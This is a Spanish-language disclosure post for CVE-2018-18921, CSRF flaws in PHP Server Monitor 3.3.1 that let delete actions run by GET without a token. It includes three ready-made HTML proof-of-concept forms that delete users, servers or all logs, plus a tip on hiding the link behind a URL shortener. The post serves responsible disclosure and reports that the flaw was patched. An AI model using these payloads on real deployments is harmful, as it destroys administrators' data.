CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

Las vulnerabilidades Cross-Site Request Forgery (CSRF)  encontradas en el software PHP Server Monitor 3.3.1  han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar servidores, logs y usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-18921 .

CVE-2018-18921

PHP Server Monitor 3.3.1 - Cross-Site Request Forgery (CSRF)

CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

PHP Server Monitor es una aplicación web orientada a monitorizar la disponibilidad de servidores PHP, comprueba si están correctamente funcionando, monitoriza los servicios, genera gráficos e historial de actividad además de almacenar logs de errores y permitir notificaciones a través de email y Telegram, está desarrollada en PHP y MySQL.

Vector de ataque / Criticidad de la explotación

CRITICIDAD - 🔴 ALTA 🔴

A través de las vulnerabilidades Cross-Site Request Forgery (CSRF) , un atacante podría aprovecharse de la confianza que tiene la aplicación sobre los usuarios legítimos para crear un enlace o formulario malicioso que será ejecutado a través de estos.

Parámetros / Recursos vulnerables

Durante la auditoria, se observó que el botón encargado de borrar los usuarios, servidores y logs, se realizaba por petición GET y carecía de token anti-csrf.

CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

Esto, permitiría a un atacante crear un enlace malicioso modificando los valores de los parámetros mod, action e id para realizar acciones de eliminación de objetos sobre la aplicación.

Prueba de concepto (PoC)

En las siguientes pruebas de concepto, se ha dividido la pantalla en dos partes, en la parte izquierda se encontraría un usuario en el panel de administración mientras que en la parte derecha, un atacante genera un botón malicioso previamente configurado para realizar las acciones.

NOTA

Se han utilizado formularios para la explotación de la vulnerabilidad, pero en un escenario real, a un atacante le bastaría con generar el enlace y acortar la URL (Google URL Shortener ) para ofuscar la acción e intentar explotar la vulnerabilidad con éxito, ya que las peticiones se realizan por GET.

Eliminación de usuarios

URL: http://localhost/?&mod=user&action=delete&id=[ID]

CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/">
   <input type="hidden" name="mod" value="user" />
   <input type="hidden" name="action" value="delete" />
   <input type="hidden" name="id" value="[ID]" />
   <input type="submit" value="Delete User" />
  </form>
 </body>
</html>

Eliminación de servidores

URL: http://localhost/?&mod=server&action=delete&id=[ID]

CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/">
   <input type="hidden" name="mod" value="server" />
   <input type="hidden" name="action" value="delete" />
   <input type="hidden" name="id" value="[ID]" />
   <input type="submit" value="Delete Server" />
  </form>
 </body>
</html>

Eliminación de todos los logs

URL: http://localhost/?&mod=&action=delete

CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/">
   <input type="hidden" name="mod" value="server&#95;log" />
   <input type="hidden" name="action" value="delete" />
   <input type="submit" value="Delete All Logs" />
  </form>
 </body>
</html>

Timeline

  • 30/10/2018 Descubrimiento de la vulnerabilidad
  • 30/10/2018 Creo issue en GitHub
  • 30/10/2018 El desarrollador marca la vulnerabiliad como pendiente de parcheo
  • 01/11/2018 Solicito CVE
  • 03/11/2018 Asignación de CVE-2018-18921 por MITRE
  • 22/11/2018 Vulnerabilidad parcheada
  • 28/11/2018 Publicación de la vulnerabilidad

Referencias

Un saludo a todos!! 👋